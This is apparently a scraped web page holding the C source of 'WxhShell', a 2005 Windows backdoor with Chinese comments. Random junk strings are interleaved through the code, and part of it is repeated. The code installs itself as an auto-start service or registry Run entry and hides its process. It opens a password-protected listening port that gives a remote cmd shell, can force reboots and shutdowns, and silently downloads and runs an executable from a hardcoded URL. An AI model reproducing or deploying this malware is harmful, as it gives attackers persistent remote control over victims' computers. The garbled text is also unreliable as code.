nW*D g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E 'O[E= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zZax![Z t+?m<h6w;l if (!NtQueryInformationProcess) return 0; 7A mnxFC F$k^px hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?'$Yj>R6 if(!hProcess) return 0; @ysc?4% q LnZC)cL
P/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }[>X}"_e U$,W/G}m CloseHandle(hProcess); Lm{qFu $)O=3dNbo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q&RezHK l if(hProcess==NULL) return 0; C6T?D5 T7bDt HMODULE hMod; :7P/ZC% char procName[255]; hmQ;!9 unsigned long cbNeeded; L
H8iHB ;0c
-+, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [,)G\ V|n}v?f_q CloseHandle(hProcess); ?8GggJC $ rU"Krf67 if(strstr(procName,"services")) return 1; // 以服务启动 1\aJ[t BHZCM^ return 0; // 注册表启动 zY=eeG+4s } >3MzsAH\ y`|86`
Y // 主模块 ,&5\` int StartWxhshell(LPSTR lpCmdLine) R#^.8g)t { [PW\l+i SOCKET wsl; %A^V@0K3 BOOL val=TRUE; 15X.gx int port=0; NlG~{rfI struct sockaddr_in door; ~]_U!r[FA Ump$N# if(wscfg.ws_autoins) Install(); gZHuyp(B %Y:"5fH port=atoi(lpCmdLine); 0Kytg\p} lIUaGz| if(port<=0) port=wscfg.ws_port; 2]}4)_&d<e s1GR!*z> WSADATA data; N a$eeM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !JGe
.U5 b?kY`LC if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R0A|}Ee* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N7
FndB5% door.sin_family = AF_INET; ]~K&b96( door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~EL3I door.sin_port = htons(port);
MOia]5 rijavZS6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V*<`!w closesocket(wsl); fFYfb4o return 1; "!w#E6gU } e"D%eFkDW N|@jHxy if(listen(wsl,2) == INVALID_SOCKET) { o^ zrF closesocket(wsl); J6[V7R[\ return 1; {KGEv% } tSVWO]< Wxhshell(wsl); [Xyu_I-c WSACleanup(); U5RLM_a@M >_J9D?3S return 0; SIridZ*% $Vp*,oRL } .US=fWyrb ~~\C.6c# // 以NT服务方式启动 H-&T) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v6C$Y+5~ { n muzTFs= DWORD status = 0; mfqnRPZ DWORD specificError = 0xfffffff; ;0vCZaEF L~+/LV serviceStatus.dwServiceType = SERVICE_WIN32; \}Al85 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~jR4%VF serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qipV'T,S serviceStatus.dwWin32ExitCode = 0; *671MJ9 serviceStatus.dwServiceSpecificExitCode = 0; T T@U_^o serviceStatus.dwCheckPoint = 0; _1,hO?TK serviceStatus.dwWaitHint = 0; +6`+Q2qi fg)VO6Wo& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?:42jp3 if (hServiceStatusHandle==0) return; T!7B0_ )! eJW( status = GetLastError(); AxtmG\o> if (status!=NO_ERROR) D){my_
/ { 48IrC_0j serviceStatus.dwCurrentState = SERVICE_STOPPED; 64i*_\UKe serviceStatus.dwCheckPoint = 0; g7"2}|qxo serviceStatus.dwWaitHint = 0; (QTF+~) serviceStatus.dwWin32ExitCode = status; x:K~?c3 serviceStatus.dwServiceSpecificExitCode = specificError; :N^+!,i SetServiceStatus(hServiceStatusHandle, &serviceStatus); zub"Ap3 return; *\(MG|S } ~ \]?5
nj l+a1 `O serviceStatus.dwCurrentState = SERVICE_RUNNING; -tZ~&1" serviceStatus.dwCheckPoint = 0; GoLK
95"] serviceStatus.dwWaitHint = 0; @jxP3:s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rb!y(&>v } F)Iz: @C|nc&E2s // 处理NT服务事件,比如:启动、停止 Qhq' %LR VOID WINAPI NTServiceHandler(DWORD fdwControl) 3_ly"\I\ { "ze-Mb switch(fdwControl) } J[Z)u { 4_`(c1oA case SERVICE_CONTROL_STOP: 1Q/=s,{u serviceStatus.dwWin32ExitCode = 0; Kh$Q9$ serviceStatus.dwCurrentState = SERVICE_STOPPED; E<l/o5<nC serviceStatus.dwCheckPoint = 0; 3=Q:{ serviceStatus.dwWaitHint = 0; =%B5TBG { 6_s(Kx>j SetServiceStatus(hServiceStatusHandle, &serviceStatus); |M&4[ka} } 3K=%I+G(4 return; p0[+Zm{#l case SERVICE_CONTROL_PAUSE: K9{RU4< serviceStatus.dwCurrentState = SERVICE_PAUSED; oY4^CGk= break; yeI>b 1>Q case SERVICE_CONTROL_CONTINUE: >UQY3C serviceStatus.dwCurrentState = SERVICE_RUNNING; 5a-x$Qb9 break; 4[(NxXH8M case SERVICE_CONTROL_INTERROGATE: I>GBnx
L
break; rz0)S
py6 }; gYCr,-_i SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?<`oKBn } :h(`eC )q66^%;S // 标准应用程序主函数 35Yf,@VO int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nwp(% fBo { wFX9F3m Gl@{y ( // 获取操作系统版本 UE{$hLI?g OsIsNt=GetOsVer(); 1ysQvz GetModuleFileName(NULL,ExeFile,MAX_PATH); ?-zuy US &+n9T?+b // 从命令行安装 Z}TLk^_[ if(strpbrk(lpCmdLine,"iI")) Install(); g)5mr:\ \BuyJskE // 下载执行文件 ^)wKS]BQ.. if(wscfg.ws_downexe) { zak|* _ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a'-u(Bw WinExec(wscfg.ws_filenam,SW_HIDE); d:kn%L6k_ } Wqkzj^;"G Wqkb1~]#Y if(!OsIsNt) { o{6q>Jm // 如果时win9x,隐藏进程并且设置为注册表启动 Y
hQ)M5 HideProc(); ruQt0q,W3% StartWxhshell(lpCmdLine); pCDN9*0/ } gW,hI> else {#:31)P if(StartFromService()) M.K^W ` // 以服务方式启动 XC5/$3'M& StartServiceCtrlDispatcher(DispatchTable); AN:yL
a! else J\Hv42 // 普通方式启动 *i}X(sfe StartWxhshell(lpCmdLine); .L+XV y wk ^7/B return 0; {fnx=BaG } W|D
kq m`l9d4p
w? FJDE48Vi <sw@P":F =========================================== "(3u)o9 )q[P&f(h {9yf0n Z2gWa~dBC {nbT$3=Zt <)p.GAZ " Lo~;pvv K8aqC{ #include <stdio.h> *68 TTBq( #include <string.h> :{2~s #include <windows.h> 0|RofL&o #include <winsock2.h> wS);KLe3 #include <winsvc.h> CVWT>M< #include <urlmon.h> +rJ6DZ _0jR({\ #pragma comment (lib, "Ws2_32.lib") m/1FVC@* #pragma comment (lib, "urlmon.lib") b?l>vUgAg GPGE7X' #define MAX_USER 100 // 最大客户端连接数 0muC4 #define BUF_SOCK 200 // sock buffer B
ytx.[zbX #define KEY_BUFF 255 // 输入 buffer {Q3OT +?Ii=* 7n #define REBOOT 0 // 重启 |82q|@e #define SHUTDOWN 1 // 关机 1!KROes4 ~PI2G9 #define DEF_PORT 5000 // 监听端口 9H/>M4RT iCPm7AU #define REG_LEN 16 // 注册表键长度 bDM },( #define SVC_LEN 80 // NT服务名长度 R>*z8n a(|6)w- // 从dll定义API %(1OjfZc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~<?Zj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TIKkS*$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I@MG?ZQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uhh7Ft#H Y>8Qj+d // wxhshell配置信息 N#K)Z5J)b struct WSCFG { c1"wS*u int ws_port; // 监听端口 &h0LWPl char ws_passstr[REG_LEN]; // 口令 wX0D^)NtF int ws_autoins; // 安装标记, 1=yes 0=no kU[hB1D5 char ws_regname[REG_LEN]; // 注册表键名 F#gA2VCm char ws_svcname[REG_LEN]; // 服务名 l!f_ +lv char ws_svcdisp[SVC_LEN]; // 服务显示名 Qds<j{2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 rXi&8R[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [zx|3wWAX- int ws_downexe; // 下载执行标记, 1=yes 0=no J5G<Y*q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {+WBi(=W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w6i2>nu_O pM?~AYWb }; oI;ho6y) V
9Qt;]mQ // default Wxhshell configuration E{<#h9=> struct WSCFG wscfg={DEF_PORT, t,?,T~#9 "xuhuanlingzhe", q<
XFw-Pv 1, \ZZ6r^99 "Wxhshell", 5c` ;~ "Wxhshell", . vb##D "WxhShell Service", -N*[f9EJB "Wrsky Windows CmdShell Service", $6a9<&LP_ "Please Input Your Password: ", Gr\ ]6 1, Y"H`+UV "http://www.wrsky.com/wxhshell.exe", 1zPS#K/3 "Wxhshell.exe" 8>9Mh!t}(I }; Z)s
!p "[N2qJ}p // 消息定义模块 2iG+Ek-?" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )X0=z1$ char *msg_ws_prompt="\n\r? for help\n\r#>"; MY,~leP& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~HB#7+b char *msg_ws_ext="\n\rExit."; 1.du#w char *msg_ws_end="\n\rQuit."; dd char *msg_ws_boot="\n\rReboot..."; V: D;?$Jl char *msg_ws_poff="\n\rShutdown..."; x95s%29RS char *msg_ws_down="\n\rSave to "; t`Kpbfk LDr?'M!D char *msg_ws_err="\n\rErr!"; uge r:cD char *msg_ws_ok="\n\rOK!"; 9\4x<* AioW*`[WjA char ExeFile[MAX_PATH]; ij$NTY=u int nUser = 0; ubM1Q r HANDLE handles[MAX_USER]; 5@2Rl>B$ int OsIsNt; 2Mt$Dah ,Z~`aHhr SERVICE_STATUS serviceStatus; !T,<p
SERVICE_STATUS_HANDLE hServiceStatusHandle; |*NLWN.ja) |dgiW"tUm // 函数声明 F9
r5 Z int Install(void); h9QM
nH' int Uninstall(void); G}8tFo.d1 int DownloadFile(char *sURL, SOCKET wsh); <D.E.^Y int Boot(int flag); Zi~. void HideProc(void); 1m~|e.g_'` int GetOsVer(void); Mt4 int Wxhshell(SOCKET wsl);
;j26(dH void TalkWithClient(void *cs); mD9Iao%4~ int CmdShell(SOCKET sock); .V
hU:_u int StartFromService(void); .b,\.0N int StartWxhshell(LPSTR lpCmdLine); JKZVd`fF G`!,>n 3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a51(ySC}<s VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;\7`G!q I6^y` 2X // 数据结构和表定义 k* C69 SERVICE_TABLE_ENTRY DispatchTable[] = l$gJ^Wf2gY { A;;#]]48 {wscfg.ws_svcname, NTServiceMain}, @} r*KF- {NULL, NULL} PaaMh[OmG }; Z?+ )ox ,7B7X)m{3 // 自我安装 P8YnKyI,. int Install(void) LA6XTgcu { Yh1</C char svExeFile[MAX_PATH]; 6]1RxrAV HKEY key; L ci? strcpy(svExeFile,ExeFile); -dM~3' B&_:20^y~ // 如果是win9x系统,修改注册表设为自启动 <.ZIhDiEl if(!OsIsNt) { ?Z{/0X)]| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E!Q@AZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BbX$R`f RegCloseKey(key); -9om,U`t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tv|'6P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }ekNZNcuM RegCloseKey(key); JP Dxzp return 0; lf(+]k30 } wrkw,H } P'Y(f!% } spA|[\Nl else { 96\FJHtZ $*{,Z<|2 // 如果是NT以上系统,安装为系统服务 ;l;jTb ^l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Erphn if (schSCManager!=0) 16Qu{K { )j8'6tk)Z SC_HANDLE schService = CreateService oc"p5Y3,Os ( 'gN[LERT schSCManager, tV=Qt[|@ wscfg.ws_svcname, ?*~
~Ok wscfg.ws_svcdisp, [\ku,yd%0 SERVICE_ALL_ACCESS, $(62j0mS> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @{IX
do SERVICE_AUTO_START, <2(X?,N5BD SERVICE_ERROR_NORMAL, (hwzA
*(c svExeFile,
@>z.chM; NULL, <IZr..|O NULL, t 9(,JC0 NULL, q,sO<1wAT\ NULL, D!* SA NULL 3mo<O}} ); gkK(7=r% if (schService!=0) :tV"uWZFU { bzG vnaTt CloseServiceHandle(schService); J)g
+I CloseServiceHandle(schSCManager); /[Nkk)8- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "I=Lbh-` strcat(svExeFile,wscfg.ws_svcname); n!zB+hW if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ):Fg {7b]n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wgf
f+7k RegCloseKey(key); 9vi+[3s/=; return 0; _&HFKpHQ } vmgd } F~v0CBcAL CloseServiceHandle(schSCManager); F4=X(P_6 } Ne9VRM
P } %5L~&W}^" l%V+]skS return 1; ."Pn[$'. } iw.F8[}) "U9e)a0v // 自我卸载 ~I")-2"B int Uninstall(void) h/5V~ :) { ZXhNn< HKEY key; vmxS^_I ^E,
#}cW if(!OsIsNt) { l )r^|9{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0]ai*\,W7~ RegDeleteValue(key,wscfg.ws_regname); sfVzVS[ RegCloseKey(key); `_&vvJPn@! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K
z^.v` RegDeleteValue(key,wscfg.ws_regname); "'+/ax[{ RegCloseKey(key); Nl4uQ_" return 0; .D7Gog3^< } `m V(: } &OvA[<qT } W<#Kam:8e else { 9a:(ab' C^?/9\
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2x gk$E$ 7 if (schSCManager!=0) 5> 81Vhc, { Z%sTj6Th SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nF-l4 = if (schService!=0) k(`> (w { e0C_ NFS+ if(DeleteService(schService)!=0) { \]FPv7! CloseServiceHandle(schService); af[dkuv CloseServiceHandle(schSCManager); ;Zf7|i`R3 return 0; <'T DOYb } 9AWP`~l` CloseServiceHandle(schService); ']!wc8m1" } {#=o4~u%;H CloseServiceHandle(schSCManager); . Z`xNp } U4"&T,'lTL } 0{!-h Nn0j}ZI)1 return 1; }V/iU_) } %f\j)qw $5#DU__F/ // 从指定url下载文件 OZKZv, int DownloadFile(char *sURL, SOCKET wsh) C,O9?t { 1Uah IePf HRESULT hr; ZRGe$HaU char seps[]= "/"; jJ
RaY3 char *token; B&(/,. char *file; ?J| char myURL[MAX_PATH]; _Kli~$c& M char myFILE[MAX_PATH]; p=[I;U-#H Eb'M< ZY strcpy(myURL,sURL); t@2MEo token=strtok(myURL,seps); cNKGEm
;z while(token!=NULL) ocS}4.a@ { RdjoVCf file=token; \+
Ese-la token=strtok(NULL,seps); `OZiN;*| } 1k%HGQM{ Ea[SS@'R GetCurrentDirectory(MAX_PATH,myFILE); .*?-j?U. strcat(myFILE, "\\"); Dz$dJF1
8 strcat(myFILE, file); "-HWw?rx/ send(wsh,myFILE,strlen(myFILE),0); jlyuu send(wsh,"...",3,0); u3cl7~- yW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); on7?V< if(hr==S_OK) l>oJ^J return 0; : t
D`e< else -LFk7a return 1; Yi`DRkp]3 do.XMdit } |*~SR.[` (76tYt~I= // 系统电源模块 nGDY::nUE int Boot(int flag) &`g^b^i { H-%
B<7 HANDLE hToken; WxJaE;`Ige TOKEN_PRIVILEGES tkp; L 'e|D=y 8yswi[ if(OsIsNt) { R<r,&X?m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fbw.Y6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7?y([i\y tkp.PrivilegeCount = 1; fndH]Yp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d|sf2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FbCuXS=+` if(flag==REBOOT) { 02[*b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TD/ 4lL~(x return 0; [.;I} } #8WHIDS> else { V>4v6)N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8y4t9V return 0; b6""q9S! } tt&{f <* } <`BDN else { ]~pM;6Pu0 if(flag==REBOOT) { 5IRUG)Icr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DnCIfda2g return 0; ;|,*zD } XCGK&OGI else { 0Fs2* FS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "JgwL_2 return 0; Q+IB&LdE } XS>( Bu } !H zJ* 2\"T& return 1; =Nz;R2{@ } S:cd'68D S;u2B_/ // win9x进程隐藏模块 -;YhQxxC}L void HideProc(void) h\6 t\_^\ { 0<Rq =|V#~p* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Om8Sgy? if ( hKernel != NULL ) 3[R[`l]v? { \mFgjPz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H96|{q= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jb|dpu/e FreeLibrary(hKernel); k7nke^,| } dFk$rr>q #_'^oGz` return; h\|T(597. } >4?735f=x 6"2IV // 获取操作系统版本 DNRWE1P2bg int GetOsVer(void) o}L\b,]) { Vo(bro4ZQi OSVERSIONINFO winfo; 5QG?*Z~?7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %/r:iD GetVersionEx(&winfo); wYd{X 8$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xeRoif\4c return 1; SM.KM_%K else :>3?|Z"Aj return 0; ZkF6AF } ?V =#x.9 PSU}fo // 客户端句柄模块 Bf$`Hf6 int Wxhshell(SOCKET wsl) wd2z=^S~ { B*}:YV SOCKET wsh; 2GRv%:rZ struct sockaddr_in client; U ?6.UtNf DWORD myID; 'On%p|s)H K#x|/b'5d while(nUser<MAX_USER) WS\Ir-B { 4@9xq<<5 int nSize=sizeof(client); eY`o=xN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hw,@oOh. if(wsh==INVALID_SOCKET) return 1; l-8rCaq&J pE{Ecrc3| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B#o6UO\ if(handles[nUser]==0) R-Gg= l5 closesocket(wsh); :;w#l"e7< else =DXN`]uN nUser++; 4
udW6U } qy/t<2' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wfsd$kN6{ |u#7@&N1 return 0; d_Z?i#r0l } =F46v{la ;esOe\zjE // 关闭 socket RVh{wg void CloseIt(SOCKET wsh) Lwo9s)j<e { YLb$/6gj6 closesocket(wsh); Oh,]"(+ nUser--; PeJIa
%iE ExitThread(0); !WTL:dk } &&
b;Wr xks Me // 客户端请求句柄 2k^'}7G% void TalkWithClient(void *cs) {vp*m:K { [G"Va_A8 5Rae?*XH SOCKET wsh=(SOCKET)cs; kTm}VTr
1 char pwd[SVC_LEN]; C ~04#z_$ char cmd[KEY_BUFF]; A(+%DZ char chr[1]; gvFCsVv<{ int i,j; bv}e[yH @jKB[S;JSn while (nUser < MAX_USER) { &W*^&0AV nNh5f]] if(wscfg.ws_passstr) { @el if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pz]!T' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EvF[h:C2 //ZeroMemory(pwd,KEY_BUFF); v4,Dt i=0; *$@u`nM while(i<SVC_LEN) { A}(o1wuw FzG>iC} // 设置超时 %RzCJxT fd_set FdRead; EKEJ9Y+47H struct timeval TimeOut; 'i4L.& FD_ZERO(&FdRead); cVDcda|PE FD_SET(wsh,&FdRead); bP&1tE TimeOut.tv_sec=8; .Gb!mG TimeOut.tv_usec=0; Y;kiU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yw_!40` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZWQ/BgKB Hz>Dp
! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jW>K#vj pwd=chr[0]; "NTiQ}i if(chr[0]==0xd || chr[0]==0xa) { XJ7pX1nf pwd=0; "6Z(0 iu:{ break; \t)`Cp6,[b } kq@~QI?9 i++; /dHIm`. Z } }
g%v<'K BO.Db`` // 如果是非法用户,关闭 socket q`UaJ_7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0e1-ZP CDj } ~EU\\;1Rmq WWATG= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;3o7>yEv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <6X*k{ e0hY while(1) { ^,aI2vC ER0B{b ZeroMemory(cmd,KEY_BUFF); `4g}(- c:""&>Z // 自动支持客户端 telnet标准 ri6KD j=0; <,D*m+BWn while(j<KEY_BUFF) { lX"6m}~D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P~%+KxwZQ cmd[j]=chr[0]; &0xM 2J if(chr[0]==0xa || chr[0]==0xd) { "uFwsjz&B cmd[j]=0; dg_w$# break; 'c# }^@G } U>DCra; j++; uF<?y0t } ~0@fK<C)O !;0K=~(Y^ // 下载文件 l2I%$|)d if(strstr(cmd,"http://")) { SYa
O'c send(wsh,msg_ws_down,strlen(msg_ws_down),0); %`YR+J/V if(DownloadFile(cmd,wsh)) BvUiH<-D send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=5P=wE else 3 FV -&Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bc3`x1)\^ } na"!"C
s3 else { T"<)B^8f 7Gy:T47T\@ switch(cmd[0]) { 'u~0rMe4}) J_?v=dW` // 帮助 :Qhrh(i case '?': { b'Km-'MtH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "p7nngn~ break; U_l9CZ } B{*{9!(l9 // 安装 Gr#3GvL case 'i': { u@CQ+pnf:( if(Install()) l qKj;' send(wsh,msg_ws_err,strlen(msg_ws_err),0); !-%XrU8o3 else " m13HS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 72 |O&`O break; e~d=e3mBp } h9/fD5 // 卸载 %"eR0Lj+zq case 'r': { %D5F7wB if(Uninstall()) e[s}tjx send(wsh,msg_ws_err,strlen(msg_ws_err),0); P-3f51 Q else =1@LMIi5x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LD1&8kJ*l break; Pc2!OQC'"" } UtP|<]{ // 显示 wxhshell 所在路径 -Jw4z#/- case 'p': { : ^("L,AF char svExeFile[MAX_PATH]; M:b#">M strcpy(svExeFile,"\n\r"); =4l @A> strcat(svExeFile,ExeFile); )BvMFwQG send(wsh,svExeFile,strlen(svExeFile),0); i;-M8Q^ break; v?Utz~lQ } gu+zfvkcY // 重启 Y~e)3e case 'b': { <f M}Kk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fm,` ]CO if(Boot(REBOOT)) `j(._`8%a send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ESvMK~x else { CH&{x7$he
closesocket(wsh); E2d'P ExitThread(0); Jv+w{"& } Fx|`0LI+C break; &K{8-
t } n\3#69VY // 关机 J=t}9.H~= case 'd': { }ML2-k send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &lLfVa-l if(Boot(SHUTDOWN)) -z0;4O (K] send(wsh,msg_ws_err,strlen(msg_ws_err),0); G}9f/$'3 else { c!/+0[ closesocket(wsh); X6r0+D5AvB ExitThread(0); ;RRw-|/Wm } zQG{j\ break; zX4RqI } N+@ Ff3M // 获取shell %^L{K[} case 's': { w.a9}GC CmdShell(wsh); ,(pp+hNq closesocket(wsh); 3h d30o ExitThread(0); `Y5LAt: break; -(]CFnD_N } f?51sr // 退出 dGn0-l'q case 'x': { #[bL9R5NC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }#7rg_O]> CloseIt(wsh); O~6%Iz` break; .Zv~a&GE } nqm=snh // 离开 Z$JJ0X case 'q': { _X~O6e-! send(wsh,msg_ws_end,strlen(msg_ws_end),0); (8)9S6 closesocket(wsh); BEvY&3%l WSACleanup(); ?'z/S5&j exit(1); CV.|~K0O break; &h5Y_no GX } Xt<1b } lz~^*\ F } %DYh<U4N "(7y%TFt: // 提示信息 A*?PH`bY if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )q-NE) } Syy{ ^Ae} } rZJJ\ , | e,/]]E/o return; ~TEn + } j<*7p:L7_> }7[]d7 // shell模块句柄 $Dj8 a\L int CmdShell(SOCKET sock) YM:sLeQ~c { 5@m
,*n&[ STARTUPINFO si; <1l%| ZeroMemory(&si,sizeof(si)); SL- 2 ^\R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HS/.H,X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Y;f9R PROCESS_INFORMATION ProcessInfo; _ZK^JS char cmdline[]="cmd"; :LY.C<8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JM|HnyI return 0; jJ$B^Y"4 } dX cbS< QQ .?A(U7 // 自身启动模式 \ +%~7Bi]z int StartFromService(void) ~p?ArZb { Wvf>5g)? typedef struct gZ$
8Y7 { ~3?-l/ $ DWORD ExitStatus; 5 ix*wu`, DWORD PebBaseAddress; !q\=e@j-i DWORD AffinityMask; S
F*C' DWORD BasePriority; <v|"eq} ULONG UniqueProcessId; ,bl }@0A ULONG InheritedFromUniqueProcessId; @)6b } PROCESS_BASIC_INFORMATION; ^EX"fRwNi cZNcplt8 PROCNTQSIP NtQueryInformationProcess; M/=36{,w- ,r w4Lo static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /B@{w-N static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hhy+bA} id1cZig HANDLE hProcess; |VWT4*K PROCESS_BASIC_INFORMATION pbi; m6ge
% C!*!n^qA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); = 'o3 <} if(NULL == hInst ) return 0; 0w3c8s. FfJ;r'eGs g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?l/6DT>e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q:(mK* _ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W/!P1M n 5;/n`Bd if (!NtQueryInformationProcess) return 0; Z)`)9]* Kq3c Kp4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -<s Gu9 if(!hProcess) return 0; <#C,66k ][$I~nRf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5
3%>)gk: R VatGa0 CloseHandle(hProcess); 3}fOb CLrX!JV> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
